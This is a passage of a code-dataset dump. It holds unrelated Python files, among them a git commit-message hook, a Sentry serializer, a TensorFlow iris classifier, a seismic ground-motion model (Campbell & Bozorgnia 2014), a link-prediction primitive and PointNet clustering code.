characters\n\t\t\tprint(\"Subject line is over 50 characters!\")\n\t\t\treturn 1\n\t\t\n\t\tif lineCount >= 2 and charCount > 72: #5) Wrap text at 72 characters (don't let each line have more then 72 character) \n\t\t\tprint(\"Body text is over 72 characters!\")\n\t\t\treturn 1\n\t\t\n\tif lineCount < 2: #5) Wrap text at 72 characters (don't let each line have more then 72 character) \n\t\tprint(\"There is no body of text!\")\n\t\treturn 1\n\t\n\tprint(\"No message error detected\")\n\treturn 0\n\t\t\nif __name__ == \"__main__\":\n\tsys.exit(main())","sub_path":".githooks/commit-msg.py","file_name":"commit-msg.py","file_ext":"py","file_size_in_byte":2037,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"508001208","text":"# uncompyle6 version 3.7.4\n# Python bytecode 2.7 (62211)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: /usr/src/sentry/src/sentry/incidents/endpoints/serializers.py\n# Compiled at: 2019-08-23 05:13:18\nfrom __future__ import absolute_import\nfrom datetime import timedelta\nimport six\nfrom enum import Enum\nfrom rest_framework import serializers\nfrom sentry.api.serializers.rest_framework.base import CamelSnakeModelSerializer\nfrom sentry.incidents.models import AlertRule, AlertRuleAggregations, AlertRuleThresholdType\nfrom sentry.incidents.logic import AlertRuleNameAlreadyUsedError, create_alert_rule, update_alert_rule\n\nclass AlertRuleSerializer(CamelSnakeModelSerializer):\n aggregations = serializers.ListField(child=serializers.IntegerField())\n\n class Meta:\n model = AlertRule\n fields = [\n 'name',\n 'threshold_type',\n 'query',\n 'time_window',\n 'alert_threshold',\n 'resolve_threshold',\n 'threshold_period',\n 'aggregations']\n extra_kwargs = {'query': {'allow_blank': True, 'required': True}, 'threshold_period': {'default': 1, 'min_value': 1, 'max_value': 20}, 'alert_threshold': {'required': True}, 'resolve_threshold': {'required': True}, 'time_window': {'min_value': 1, \n 'max_value': int(timedelta(days=1).total_seconds() / 60), \n 'required': True}, \n 'aggregations': {'min_length': 1, 'max_length': 10, 'required': True}, 'name': {'min_length': 1, 'max_length': 64}}\n\n def validate_threshold_type(self, threshold_type):\n try:\n return AlertRuleThresholdType(threshold_type)\n except ValueError:\n raise serializers.ValidationError('Invalid threshold type, valid values are %s' % [ item.value for item in AlertRuleThresholdType ])\n\n def validate_aggregations(self, aggregations):\n try:\n return [ AlertRuleAggregations(agg) for agg in aggregations ]\n except ValueError:\n raise serializers.ValidationError('Invalid aggregation, valid values are %s' % [ item.value for item in AlertRuleAggregations ])\n\n def create(self, validated_data):\n try:\n return create_alert_rule(project=self.context['project'], **validated_data)\n except AlertRuleNameAlreadyUsedError:\n raise serializers.ValidationError('This name is already in use for this project')\n\n def _remove_unchanged_fields(self, instance, validated_data):\n for field_name, value in list(six.iteritems(validated_data)):\n if isinstance(value, Enum):\n value = value.value\n elif field_name == 'aggregations':\n value = [ item.value for item in value ]\n if getattr(instance, field_name) == value:\n validated_data.pop(field_name)\n\n return validated_data\n\n def update(self, instance, validated_data):\n validated_data = self._remove_unchanged_fields(instance, validated_data)\n return update_alert_rule(instance, **validated_data)","sub_path":"pycfiles/sentry-10.0.0-py27-none-any/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":3107,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"524783810","text":"import tensorflow as tf\nimport numpy as np\nimport os\n\n# Data sets\nIRIS_TRAINING = os.path.join(\"iris\", \"iris_training.csv\")\nIRIS_TEST = os.path.join(\"iris\", \"iris_test.csv\")\n\n# Load datasets.\ntraining_set = tf.contrib.learn.datasets.base.load_csv_with_header(\n filename=IRIS_TRAINING,\n target_dtype=np.int,\n features_dtype=np.float32)\ntest_set = tf.contrib.learn.datasets.base.load_csv_with_header(\n filename=IRIS_TEST,\n target_dtype=np.int,\n features_dtype=np.float32)\n\n# Specify that all features have real-value data\nfeature_columns = [tf.contrib.layers.real_valued_column(\"\", dimension=4)]\n\nclassifier = tf.contrib.learn.DNNClassifier(\n\tfeature_columns=feature_columns,\n\thidden_units=[10, 20, 10],\n\tn_classes=3,\n\tmodel_dir=\"/tmp/iris_model\")\n\n# Fit model.\nclassifier.fit(input_fn=lambda: (tf.constant(training_set.data), tf.constant(training_set.target)),\n steps=2000)\n\n# Evaluate accuracy.\naccuracy_score = classifier.evaluate(x=test_set.data, y=test_set.target)['accuracy']\nprint('Accuracy: {0:f}'.format(accuracy_score))\n\n# Classify two new flower samples.\nnew_samples = np.array(\n [[6.4, 3.2, 4.5, 1.5], [5.8, 3.1, 5.0, 1.7]], dtype=float)\ny = list(classifier.predict(new_samples, as_iterable=True))\nprint('Predictions: {}'.format(str(y)))\n","sub_path":"tensorflow_examples/iris_classifier.py","file_name":"iris_classifier.py","file_ext":"py","file_size_in_byte":1283,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"486938078","text":"#!/bin/python\n\nimport math\nimport os\nimport random\nimport re\nimport sys\n\n# function to calculate the appearance of each value in array\n# returns dictionary\ndef countValues(ar):\n values = {}\n\n for v in ar:\n if v in values:\n values[v] += 1\n else:\n values[v] = 1\n\n return values\n\n# function to generate the result\ndef sockMerchant(n, ar):\n # create dictionary with all values and their frequency\n values = countValues(ar)\n\n # for each value in values:\n # if it's even, we can form (value / 2) pairs\n # if it's odd, we can form ((value - 1) / 2) pairs (and one sock will be left)\n # => so we can divide value by 2 and round to the lowest number by applying int()\n return sum(list(map(lambda x: int(x / 2), values.values())))\n\nif __name__ == '__main__':\n fptr = open(os.environ['OUTPUT_PATH'], 'w')\n n = int(raw_input())\n ar = map(int, raw_input().rstrip().split())\n result = sockMerchant(n, ar)\n\n fptr.write(str(result) + '\\n')\n fptr.close()","sub_path":"Warm-up Challenges/Sock Merchant.py","file_name":"Sock Merchant.py","file_ext":"py","file_size_in_byte":1021,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"63280277","text":"__author__ = 'pdh21'\nfrom astropy.io import fits\nimport scipy.stats as st\nimport numpy as np\nfrom astropy.io import fits\n\n\ndef ymod_map(prior,flux):\n \"\"\"Create replicated model map (no noise or background) i.e. A*f\n\n :param prior: prior class\n :param flux: flux vector\n :return: map array, in same format as prior.sim\n \"\"\"\n from scipy.sparse import coo_matrix\n\n f=coo_matrix((flux, (range(0,prior.nsrc),np.zeros(prior.nsrc))), shape=(prior.nsrc, 1))\n A=coo_matrix((prior.amat_data, (prior.amat_row, prior.amat_col)), shape=(prior.snpix, prior.nsrc))\n rmap_temp=(A*f)\n #pred_map=np.empty_like(prior.im)\n #pred_map[:,:]=0.0\n #pred_map[prior.sy_pix,prior.sx_pix]=np.asarray(rmap_temp.todense()).reshape(-1)#+np.random.randn(prior.snpix)*prior.snim\n\n return np.asarray(rmap_temp.todense())\n\n\ndef post_rep_map(prior,mod_map,back,conf_noise):\n return mod_map+back+np.random.normal(scale=np.sqrt(prior.snim**2+conf_noise**2))\n\ndef Bayesian_pvals(prior,post_rep_map):\n pval=np.empty_like(prior.sim)\n for i in range(0,prior.snpix):\n ind=post_rep_map[i,:] 2*T_rep\n Bayes_pval_res_vals[i]=sum(ind_T)/np.float(post_rep_map.shape[1])\n return Bayes_pval_res_vals\n\ndef post_rep_map(prior,mod_map,back,conf_noise):\n return mod_map+back+np.random.normal(scale=np.sqrt(prior.snim**2+conf_noise**2))\n\n\ndef make_Bayesian_pval_maps(prior,post_rep_map):\n import scipy.stats as st\n pval=np.empty_like(prior.sim)\n for i in range(0,prior.snpix):\n ind=post_rep_map[i,:] None:\n super().__init__(hyperparams=hyperparams, random_seed=random_seed, docker_containers=docker_containers)\n self._fitted: bool = False\n self._inner_products: container.List = []\n self._embeddings: container.List = []\n\n def produce(self, *, inputs: Inputs, timeout: float = None, iterations: int = None) -> CallResult[Outputs]:\n if not self._fitted:\n raise ValueError(\"Not fitted\")\n \n np.random.seed(self.random_seed)\n \n csv = inputs[1]\n \n\n # print(csv, file=sys.stderr)\n csv_headers = csv.columns\n for header in csv_headers:\n if header[:6] == \"source\":\n SOURCE = header\n elif header[:6] == \"target\":\n TARGET = header\n \n source_nodeID = np.array(csv[SOURCE]).astype(int)\n target_nodeID = np.array(csv[TARGET]).astype(int)\n \n try:\n int(np.array(csv['linkType'])[0])\n except:\n csv['linkType'] = np.zeros(len(source_nodeID))\n \n link_types = np.array(csv['linkType']).astype(int)\n\n n_links = len(self._inner_products) - 1\n n_nodes = int(self._embeddings.shape[0] / n_links)\n\n n_preds = csv.shape[0]\n\n predictions = np.zeros(n_preds)\n\n global_noexists = self._inner_products[-1][0]\n global_exists = self._inner_products[-1][1]\n\n # The following code is used for \"global\" classification only; i.e. we ignore edge type training data\n for i in range(n_preds):\n temp_source = source_nodeID[i]\n temp_target = target_nodeID[i]\n temp_link = link_types[i]\n temp_inner_product = self._embeddings[temp_link*n_nodes + temp_source-1] @ self._embeddings[temp_link*n_nodes + temp_target-1]\n temp_noexists = self._inner_products[temp_link][0]\n temp_exists = self._inner_products[temp_link][1]\n\n # There are three 'degenerate' cases --\n # 1) Both the exists and no exists lists are empty (first 'if')\n # 2/3) One but not the other is empty ('elif')\n # if len(temp_noexists) == 0 and len(temp_exists) == 0:\n rank_noexists = np.sum(temp_inner_product > global_noexists)\n quantile_noexists = rank_noexists / len(global_noexists)\n\n rank_exists = np.sum(temp_inner_product > global_noexists)\n quantile_exists = rank_exists / len(global_exists) \n\n if abs(quantile_noexists - 1/2) < abs(quantile_exists - 1/2):\n predictions[i] = int(0)\n elif abs(quantile_noexists - 1/2) > abs(quantile_exists - 1/2):\n predictions[i] = int(1)\n else:\n predictions[i] = int(np.random.binomial(1, 0.5))\n \n csv['linkExists'] = predictions.astype(int)\n outputs = container.DataFrame(csv[['d3mIndex', 'linkExists']])\n\n return base.CallResult(outputs)\n\n def fit(self, *, timeout: float = None, iterations: int = None) -> base.CallResult[None]:\n if self._fitted:\n return base.CallResult(None)\n\n embeddings = self._training_inputs[0]\n csv = self._training_inputs[1]\n n_nodes, n_links = self._training_inputs[2][0], self._training_inputs[2][1]\n\n n_info = csv.shape[0]\n ranks = [[[], []] for i in range(n_links + 1)]\n\n try:\n int(np.array(csv['linkType'])[0])\n except:\n csv['linkType'] = np.zeros(n_info)\n\n # print(csv, file=sys.stderr)\n csv_headers = csv.columns\n for header in csv_headers:\n if header[:6] == \"source\":\n SOURCE = header\n elif header[:6] == \"target\":\n TARGET = header\n\n for i in range(n_info):\n temp_link = int(np.array(csv['linkType'])[i])\n temp_exists = int(np.array(csv['linkExists'])[i])\n temp_source = int(np.array(csv[SOURCE])[i])\n temp_target = int(np.array(csv[TARGET])[i])\n temp_dot = embeddings[temp_link*n_nodes + temp_source - 1] @ embeddings[temp_link*n_nodes + temp_target - 1]\n ranks[temp_link][temp_exists].append(temp_dot)\n ranks[-1][temp_exists].append(temp_dot)\n\n for i in range(len(ranks)):\n ranks[i][0] = np.sort(ranks[i][0])\n ranks[i][1] = np.sort(ranks[i][1])\n\n self._embeddings = embeddings\n self._inner_products = ranks\n\n self._fitted = True\n\n return base.CallResult(None)\n\n def set_training_data(self, *, inputs: Inputs) -> None:\n self._training_inputs = inputs\n\n def get_params(self) -> Params:\n if not self._fitted:\n raise ValueError(\"Fit not performed.\")\n\n return Params(\n inner_products = self._inner_products,\n embeddings = self._embeddings\n )\n\n def set_params(self, *, params: Params) -> None:\n self._fitted = True\n self._inner_products = params['inner_products']\n\n self._embeddings = params['embeddings']\n","sub_path":"build/lib/jhu_primitives/link_pred_rc/link_pred_rc.py","file_name":"link_pred_rc.py","file_ext":"py","file_size_in_byte":8471,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"465136529","text":"#!/usr/bin/env python\n# encoding: utf-8\n\n\"\"\"Model for the Campbell and Bozorgnia (2014) ground motion model.\"\"\"\n\nfrom __future__ import division\n\nimport logging\n\nimport numpy as np\n\nfrom . import model\nfrom .chiou_youngs_2014 import ChiouYoungs2014 as CY14\n\n__author__ = 'Albert Kottke'\n\n\nclass CampbellBozorgnia2014(model.Model):\n \"\"\"Campbell and Bozorgnia (2014, :cite:`campbell14`) model.\n\n This model was developed for active tectonic regions as part of the\n NGA-West2 effort.\n \"\"\"\n\n NAME = 'Campbell & Bozorgnia (2014)'\n ABBREV = 'CB14'\n\n # Reference velocity (m/sec)\n V_REF = 1100.\n\n # Load the coefficients for the model\n COEFF = model.load_data_file('campbell_bozorgnia_2014.csv', 2)\n\n PERIODS = COEFF['period']\n\n # Period independent model coefficients\n COEFF_C = 1.88\n COEFF_N = 1.18\n COEEF_H_4 = 1\n\n INDICES_PSA = np.arange(21)\n INDEX_PGA = -2\n INDEX_PGV = -1\n\n PARAMS = [\n model.NumericParameter('depth_1_0', False),\n model.NumericParameter('depth_2_5', False, 0, 10),\n model.NumericParameter('depth_bor', False),\n model.NumericParameter('depth_bot', False, default=15.),\n model.NumericParameter('depth_hyp', False, 0, 20),\n model.NumericParameter('depth_tor', False, 0, 20),\n model.NumericParameter('dip', True, 15, 90),\n model.NumericParameter('dist_jb', True),\n model.NumericParameter('dist_rup', True, None, 300),\n model.NumericParameter('dist_x', True),\n model.NumericParameter('mag', True, 3.3, 8.5),\n model.NumericParameter('v_s30', True, 150, 1500),\n model.NumericParameter('width', False),\n\n model.CategoricalParameter(\n 'region', False,\n ['global', 'california', 'japan', 'italy', 'china'], 'global'),\n model.CategoricalParameter('mechanism', True, ['SS', 'NS', 'RS']),\n ]\n\n def _check_inputs(self, **kwds):\n super(CampbellBozorgnia2014, self)._check_inputs(**kwds)\n p = self.params\n\n for mech, limit in [('SS', 8.5), ('RS', 8.0), ('NS', 7.5)]:\n if mech == p['mechanism'] and p['mag'] > limit:\n logging.warning(\n 'Magnitude of %g is greater than the recommended limit of'\n '%g for %s style faults',\n p['mag'], limit, mech\n )\n\n if p['depth_2_5'] is None:\n p['depth_2_5'] = self.calc_depth_2_5(\n p['v_s30'], p['region'], p['depth_1_0'])\n\n if p['depth_tor'] is None:\n p['depth_tor'] = CY14.calc_depth_tor(p['mag'], p['mechanism'])\n\n if p['width'] is None:\n p['width'] = CampbellBozorgnia2014.calc_width(\n p['mag'], p['dip'], p['depth_tor'], p['depth_bot'])\n\n if p['depth_bor'] is None:\n p['depth_bor'] = self.calc_depth_bor(\n p['depth_tor'], p['dip'], p['width'])\n\n if p['depth_hyp'] is None:\n p['depth_hyp'] = CampbellBozorgnia2014.calc_depth_hyp(\n p['mag'], p['dip'], p['depth_tor'], p['depth_bor'])\n\n def __init__(self, **kwds):\n \"\"\"Compute the response predicted the Campbell and Bozorgnia (2014)\n ground motion model.\n\n Keyword Args:\n depth_1_0 (Optional[float]): depth to the 1.0 km∕s shear-wave\n velocity horizon beneath the site, :math:`Z_{1.0}` in (km).\n Used to estimate `depth_2_5`.\n\n depth_2_5 (Optional[float]): depth to the 2.5 km∕s shear-wave\n velocity horizon beneath the site, :math:`Z_{2.5}` in (km).\n If *None*, then it is computed from `depth_1_0` or `v_s30`\n and the `region` parameter.\n\n depth_tor (Optional[float]): depth to the top of the rupture\n plane (:math:`Z_{tor}`, km). If *None*, then the average\n model is used.\n\n depth_bor (Optional[float]): depth to the bottom of the rupture\n plane (:math:`Z_{bor}`, km). If *None*, then the average\n model is used.\n\n depth_bot (Optional[float]): depth to bottom of seismogenic crust\n (km). Used to calculate fault width if none is specified. If\n *None*, then a value of 15 km is used.\n\n depth_hyp (Optional[float]): depth of the hypocenter (km). If\n *None*, then the model average is used.\n\n dip (float): fault dip angle (:math:`\\phi`, deg).\n\n dist_jb (float): Joyner-Boore distance to the rupture plane\n (:math:`R_\\\\text{JB}`, km)\n\n dist_rup (float): closest distance to the rupture plane\n (:math:`R_\\\\text{rup}`, km)\n\n dist_x (float): site coordinate measured perpendicular to the\n fault strike from the fault line with the down-dip direction\n being positive (:math:`R_x`, km).\n\n mag (float): moment magnitude of the event (:math:`M_w`)\n\n mechanism (str): fault mechanism. Valid values: \"SS\", \"NS\", \"RS\".\n\n region (Optional[str]): region. Valid values: \"california\",\n \"china\", \"italy\", \"japan\". If *None*, then \"california\" is\n used as a default value.\n\n v_s30 (float): time-averaged shear-wave velocity over the top 30 m\n of the site (:math:`V_{s30}`, m/s).\n\n width (Optional[float]): Down-dip width of the fault. If *None*,\n then the model average is used.\n \"\"\"\n super(CampbellBozorgnia2014, self).__init__(**kwds)\n p = self.params\n\n pga_ref = np.exp(\n self._calc_ln_resp(np.nan, self.V_REF)[self.INDEX_PGA])\n\n self._ln_resp = self._calc_ln_resp(pga_ref, p['v_s30'])\n self._ln_std = self._calc_ln_std(pga_ref)\n\n def _calc_ln_resp(self, pga_ref, v_s30):\n \"\"\"Calculate the natural logarithm of the response.\n\n Args:\n pga_ref (float): peak ground acceleration (g) at the reference\n condition. If :class:`np.nan`, then no site term is applied.\n\n v_s30 (float): time-averaged shear-wave velocity over the top 30 m\n of the site (:math:`V_{s30}`, m/s).\n\n Returns:\n :class:`np.array`: Natural log of the response.\n \"\"\"\n p = self.params\n c = self.COEFF\n\n # Magnitude term\n f_mag = c.c_0 + c.c_1 * p['mag']\n for min_mag, slope in ([4.5, c.c_2], [5.5, c.c_3], [6.5, c.c_4]):\n if min_mag < p['mag']:\n f_mag += slope * (p['mag'] - min_mag)\n else:\n break\n\n # Geometric attenuation term\n f_dis = (c.c_5 + c.c_6 * p['mag']) * np.log(np.sqrt(\n p['dist_rup'] ** 2 + c.c_7 ** 2\n ))\n\n # Style of faulting term\n taper = np.clip(p['mag'] - 4.5, 0, 1)\n if p['mechanism'] == 'RS':\n f_flt = c.c_8 * taper\n elif p['mechanism'] == 'NS':\n f_flt = c.c_9 * taper\n else:\n f_flt = 0\n\n # Hanging-wall term\n R_1 = p['width'] * np.cos(np.radians(p['dip']))\n R_2 = 62 * p['mag'] - 350\n if p['dist_x'] < 0:\n f_hngRx = 0\n elif p['dist_x'] <= R_1:\n ratio = p['dist_x'] / R_1\n f_hngRx = c.h_1 + c.h_2 * ratio + c.h_3 * ratio ** 2\n else:\n ratio = (p['dist_x'] - R_1) / (R_2 - R_1)\n f_hngRx = np.maximum(0, c.h_4 + c.h_5 * ratio + c.h_6 * ratio ** 2)\n\n if p['dist_rup'] == 0:\n f_hngRrup = 1\n else:\n f_hngRrup = (p['dist_rup'] - p['dist_jb']) / p['dist_rup']\n\n if p['mag'] <= 5.5:\n f_hngM = 0\n else:\n f_hngM = \\\n np.minimum(p['mag'] - 5.5, 1) * (1 + c.a_2 * (p['mag'] - 6.5))\n\n f_hngZ = 0 if p['depth_tor'] > 16.66 else 1 - 0.06 * p['depth_tor']\n f_hngDip = (90 - p['dip']) / 45\n\n f_hng = c.c_10 * f_hngRx * f_hngRrup * f_hngM * f_hngZ * f_hngDip\n\n # Site term\n f_site = np.zeros_like(c.period)\n vs_ratio = v_s30 / c.k_1\n mask = (v_s30 <= c.k_1)\n f_site[mask] = (\n c.c_11 * np.log(vs_ratio) +\n c.k_2 * (np.log(pga_ref +\n self.COEFF_C * vs_ratio ** self.COEFF_N) -\n np.log(pga_ref + self.COEFF_C))\n )[mask]\n f_site[~mask] = (\n (c.c_11 + c.k_2 * self.COEFF_N) * np.log(vs_ratio)\n )[~mask]\n\n if p['region'] == 'japan':\n # Apply regional correction for Japan\n if v_s30 <= 200:\n f_site += (\n (c.c_12 + c.k_2 * self.COEFF_N) *\n (np.log(vs_ratio) - np.log(200 / c.k_1))\n )\n else:\n f_site += (c.c_13 + c.k_2 * self.COEFF_N) * np.log(vs_ratio)\n\n # Basin response term\n if np.isnan(pga_ref):\n # Use model to compute depth_2_5 for the reference velocity case\n depth_2_5 = self.calc_depth_2_5(v_s30, p['region'])\n else:\n depth_2_5 = p['depth_2_5']\n\n if depth_2_5 <= 1:\n f_sed = c.c_14 * (depth_2_5 - 1)\n if p['region'] == 'japan':\n f_sed += c.c_15 * (depth_2_5 - 1)\n elif depth_2_5 <= 3:\n f_sed = 0\n else:\n f_sed = (c.c_16 * c.k_3 * np.exp(-0.75) *\n (1 - np.exp(-0.25 * (depth_2_5 - 3))))\n\n # Hypocentral depth term\n f_hypH = np.clip(p['depth_hyp'] - 7, 0, 13)\n f_hypM = c.c_17 + (c.c_18 - c.c_17) * np.clip(p['mag'] - 5.5, 0, 1)\n f_hyp = f_hypH * f_hypM\n\n # Fault dip term\n f_dip = c.c_19 * p['dip'] * np.clip(5.5 - p['mag'], 0, 1)\n\n # Anaelastic attenuation term\n if p['region'] in ['japan', 'italy']:\n dc_20 = c.dc_20jp\n elif p['region'] == ['china']:\n dc_20 = c.dc_20ch\n else:\n dc_20 = c.dc_20ca\n\n f_atn = (c.c_20 + dc_20) * max(p['dist_rup'] - 80, 0)\n\n ln_resp = (f_mag + f_dis + f_flt + f_hng + f_site + f_sed + f_hyp +\n f_dip + f_atn)\n return ln_resp\n\n def _calc_ln_std(self, pga_ref):\n \"\"\"Calculate the logarithmic standard deviation.\n\n Args:\n pga_ref (float): peak ground acceleration (g) at the reference\n condition.\n\n Returns:\n :class:`np.array`: Logarithmic standard deviation.\n \"\"\"\n p = self.params\n c = self.COEFF\n\n tau_lnY = c.tau_2 + (c.tau_1 - c.tau_2) * np.clip(5.5 - p['mag'], 0, 1)\n phi_lnY = c.phi_2 + (c.phi_1 - c.phi_2) * np.clip(5.5 - p['mag'], 0, 1)\n\n vs_ratio = p['v_s30'] / c.k_1\n alpha = np.zeros_like(c.period)\n mask = p['v_s30'] < c.k_1\n alpha[mask] = (\n c.k_2 * pga_ref * (\n (pga_ref + self.COEFF_C * vs_ratio ** self.COEFF_N) ** (-1) -\n (pga_ref + self.COEFF_C) ** -1)\n )[mask]\n\n tau_lnPGA = tau_lnY[self.INDEX_PGA]\n tau = np.sqrt(tau_lnY ** 2 + alpha ** 2 * tau_lnPGA ** 2 +\n 2 * alpha * c.rho_lnPGAlnY * tau_lnY * tau_lnPGA)\n\n phi_lnPGA = phi_lnY[self.INDEX_PGA]\n phi_lnAF_PGA = self.COEFF['phi_lnAF'][self.INDEX_PGA]\n phi_lnPGA_B = np.sqrt(phi_lnPGA ** 2 - phi_lnAF_PGA ** 2)\n phi_lnY_B = np.sqrt(phi_lnY ** 2 - c.phi_lnAF ** 2)\n\n phi = np.sqrt(phi_lnY_B ** 2 + c.phi_lnAF ** 2 +\n alpha ** 2 * (phi_lnPGA ** 2 - phi_lnAF_PGA ** 2) +\n 2 * alpha * c.rho_lnPGAlnY * phi_lnY_B * phi_lnPGA_B)\n\n ln_std = np.sqrt(phi ** 2 + tau ** 2)\n\n return ln_std\n\n @staticmethod\n def calc_depth_2_5(v_s30, region='global', depth_1_0=None):\n \"\"\"Calculate the depth to a shear-wave velocity of 2.5 km/sec\n (:math:`Z_{2.5}`).\n\n Provide either `v_s30` or `depth_1_0`.\n\n Args:\n v_s30 (Optional[float]): time-averaged shear-wave velocity over\n the top 30 m of the site (:math:`V_{s30}`, m/s).\n\n Keyword Args:\n region (Optional[str]): region of the basin model. Valid values:\n \"california\", \"japan\".\n\n depth_1_0 (Optional[float]): depth to the 1.0 km∕s shear-wave\n velocity horizon beneath the site, :math:`Z_{1.0}` in (km).\n\n Returns:\n float: estimated depth to a shear-wave velocity of 2.5 km/sec\n (km).\n \"\"\"\n if v_s30:\n param = v_s30\n if region == 'japan':\n # From equation 6.10 on page 63\n intercept = 5.359\n slope = 1.102\n else:\n # From equation 6.9 on page 63\n intercept = 7.089\n slope = 1.144\n\n # Global model\n # Not supported by NGA-West2 spreadsheet, and therefore removed.\n # foo = 6.510\n # bar = 1.181\n elif depth_1_0:\n param = depth_1_0\n if region == 'japan':\n # From equation 6.13 on page 64\n intercept = 0.408\n slope = 1.745\n else:\n # From equation 6.12 on page 64\n intercept = 1.392\n slope = 1.798\n\n # Global model\n # Not supported by NGA-West2 spreadsheet, and therefore removed.\n # foo = 0.748\n # bar = 2.128\n else:\n raise NotImplementedError\n\n return np.exp(intercept - slope * np.log(param))\n\n @staticmethod\n def calc_depth_hyp(mag, dip, depth_tor, depth_bor):\n \"\"\"Estimate the depth to hypocenter.\n\n Args:\n mag (float): moment magnitude of the event (:math:`M_w`)\n\n dip (float): fault dip angle (:math:`\\phi`, deg).\n\n depth_tor (float): depth to the top of the rupture\n plane (:math:`Z_{tor}`, km).\n\n depth_bor (float): depth to the bottom of the rupture\n plane (:math:`Z_{bor}`, km).\n\n Returns:\n float: estimated hypocenter depth (km)\n \"\"\"\n # Equations 35, 36, and 37 of journal article\n ln_dZ = min(\n min(-4.317 + 0.984 * mag, 2.325) +\n min(0.0445 * (dip - 40), 0),\n np.log(0.9 * (depth_bor - depth_tor))\n )\n\n depth_hyp = depth_tor + np.exp(ln_dZ)\n\n return depth_hyp\n\n @staticmethod\n def calc_width(mag, dip, depth_tor, depth_bot=15.0):\n \"\"\"Estimate the fault width using Equation (39) of CB14.\n\n Args:\n mag (float): moment magnitude of the event (:math:`M_w`)\n\n dip (float): fault dip angle (:math:`\\phi`, deg).\n\n depth_tor (float): depth to the top of the rupture\n plane (:math:`Z_{tor}`, km).\n\n Keyword Args:\n depth_bot (Optional[float]): depth to bottom of seismogenic crust\n (km). Used to calculate fault width if none is specified. If\n *None*, then a value of 15 km is used.\n\n Returns:\n float: estimated fault width (km)\n \"\"\"\n return min(\n np.sqrt(10 ** ((mag - 4.07) / 0.98)),\n (depth_bot - depth_tor) / np.sin(np.radians(dip))\n )\n\n @staticmethod\n def calc_depth_bor(depth_tor, dip, width):\n \"\"\"Compute the depth to bottom of the rupture (km).\n\n Args:\n dip (float): fault dip angle (:math:`\\phi`, deg).\n\n depth_tor (float): depth to the top of the rupture\n plane (:math:`Z_{tor}`, km).\n\n width (float): Down-dip width of the fault.\n\n Returns:\n float: depth to bottom of the fault rupture (km)\n \"\"\"\n return depth_tor + width * np.sin(np.radians(dip))\n","sub_path":"pygmm/campbell_bozorgnia_2014.py","file_name":"campbell_bozorgnia_2014.py","file_ext":"py","file_size_in_byte":15770,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"265187747","text":"import torch\nimport faiss\nimport numpy as np\n\n\nclass Conv1d(torch.nn.Module):\n def __init__(self, in_channle, out_channel, kernel_size=1):\n super(Conv1d, self).__init__()\n self.conv = torch.nn.Conv1d(in_channle, out_channel, kernel_size)\n self.bn = torch.nn.BatchNorm1d(out_channel)\n self.relu = torch.nn.ReLU()\n\n def forward(self, x):\n x = self.relu(self.bn(self.conv(x)))\n return x\n\n\nclass Linear(torch.nn.Module):\n def __init__(self, in_channle, out_channel):\n super(Linear, self).__init__()\n self.fc = torch.nn.Linear(in_channle, out_channel)\n self.bn = torch.nn.BatchNorm1d(out_channel)\n self.relu = torch.nn.ReLU()\n\n def forward(self, x):\n x = self.relu(self.bn(self.fc(x)))\n return x\n\n\nclass Pointnet(torch.nn.Module):\n def __init__(self, npoints, nfeature, mlp):\n super(Pointnet, self).__init__()\n self.fc = torch.nn.Sequential(\n Conv1d(nfeature, mlp[0]),\n Conv1d(mlp[0], mlp[1]),\n Conv1d(mlp[1], mlp[2]),\n torch.nn.MaxPool1d(npoints)\n )\n\n def forward(self, x):\n x = x.transpose(1, 2)\n x = self.fc(x)\n return x\n\ndef sample(xyz, group_num):\n '''\n random sample points\n input:\n xyz: batch_size * npoints * 3\n cpoint: center num\n return: \n center_xyz: batch_size * group_num * 3\n '''\n batch_size = xyz.size(0)\n npoints = xyz.size(1)\n center_xyz = torch.randn(batch_size, group_num, 3).cuda(xyz.get_device())\n for batch in range(batch_size):\n index = np.arange(npoints)\n np.random.shuffle(index)\n index = torch.from_numpy(index[:group_num])\n center = xyz[batch][index][:]\n center_xyz[batch] = center\n return center_xyz\n\ndef group(center_xyz, xyz, feature, group_size, index):\n '''\n use knn divide group\n input:\n center_xyz: batch_size * group_num * 3\n xyz: batch_size * npoints * 3\n feature: batch_size * npoints * nfeature\n group_size: int\n return:\n group_xyz: batch_size * group_num * group_size * 3\n group_feature: batch_size * group_num * group_size * nfeature\n '''\n batch_size = center_xyz.size()[0]\n group_num = center_xyz.size()[1]\n nfeature = feature.size()[2]\n group_xyz = torch.rand(batch_size, group_num, group_size, 3)\n group_feature = torch.rand(batch_size, group_num, group_size, nfeature).cuda(xyz.get_device())\n for batch in range(batch_size):\n center = center_xyz[batch]\n index.reset()\n index.add(xyz[batch].cpu().numpy())\n D, I = index.search(center.cpu().numpy(), group_size)\n for i in range(group_num):\n group_xyz[batch][i] = xyz[batch][I[i]]\n group_feature[batch][i] = feature[batch][I[i]]\n return group_xyz, group_feature\n\n\ndef out(x):\n print(x.type(), x.size())\n\ndef cluster(xyz, feature, group_size, group_num, index, train_num=1):\n batch_size = xyz.size(0)\n npoints = xyz.size(1)\n nfeature = feature.size(2)\n device = xyz.get_device()\n center_xyz = torch.rand(batch_size, group_num, 3).cuda(device)\n group_xyz = torch.rand(batch_size, group_num, group_size, 3).cuda(device)\n group_feature = torch.rand(batch_size, group_num, group_size, nfeature).cuda(device)\n \n for batch in range(batch_size):\n # select center points randomly\n ps = xyz[batch].cpu().numpy()\n ft = feature[batch].cpu().detach().numpy()\n indices = np.arange(npoints)\n np.random.shuffle(indices)\n indices = indices[:group_num]\n center_ps = np.take(ps, indices, axis=0)\n for _ in range(train_num):\n # initialize index\n index.reset()\n index.add(center_ps)\n # get the nearest central points for every point\n D, I = index.search(ps, 1)\n # record the class of each point\n label = I.ravel()\n for i in range(group_num):\n if np.where(label == i)[0].shape[0] == 0:\n continue\n group_ps = np.take(ps, np.where(label == i), axis=0)[0]\n center_ps[i] 